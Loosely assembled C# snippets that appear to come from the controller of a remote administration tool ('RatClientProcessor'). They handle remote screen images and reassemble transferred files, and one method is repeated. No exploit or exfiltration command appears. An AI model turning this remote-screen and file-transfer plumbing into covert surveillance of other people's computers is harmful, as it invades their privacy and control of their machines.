public static void OnRemoteControl(RemoteControlEventArgs e) { if (RemoteControl != null) { RemoteControl(new object(), e); } }
public void onRemoteControlScreen(object o, RemoteControlEventArgs e) { try { if(e.RemoteIP != RatClientProcessor.Instance._clientList[ClientID].FileServerRemoteIP) return; this.pictureBox1.Image = e.ScreenImage; } catch {/* Key already exists at XX, networking is too fast ? lol */} }
public override void Run() { //try //{ if (Client._FileTransfer.ContainsKey(Id)) { if (Client._FileTransfer[Id].type > 0) { using (BinaryWriter BW = new BinaryWriter(File.Open(Client._FileTransfer[Id].Destination + Client._FileTransfer[Id].FileName, FileMode.Append))) { for (int i = 0; i < Client._FileTransfer[Id].FileBytes.Count; i++) { //just a check again to see if we received everything.. //hopefully we received everything in a sync connection :) if (Client._FileTransfer[Id].FileBytes.ContainsKey(i)) BW.Write(Client._FileTransfer[Id].FileBytes[i]); } BW.Close(); } } else if (Client._FileTransfer[Id].type == -1) //RemoteControl { MemoryStream stream = new MemoryStream(); for (int i = 0; i < Client._FileTransfer[Id].FileBytes.Count; i++) { if (Client._FileTransfer[Id].FileBytes.ContainsKey(i)) stream.Write(Client._FileTransfer[Id].FileBytes[i], 0, Client._FileTransfer[Id].FileBytes[i].Length); } Image image = Image.FromStream(stream); RemoteControlEventArgs e1 = new RemoteControlEventArgs(Client.RemoteEndPoint.ToString(), image); RemoteControlEvent.OnRemoteControl(e1); } Client._FileTransfer.Remove(Id); } //} //catch //{ // throw new Exception(""); //Exception should only happen if we upload too fast our data about the file //} }
public static void OnRemoteControl(RemoteControlEventArgs e) { if (RemoteControl != null) RemoteControl(new object(), e); }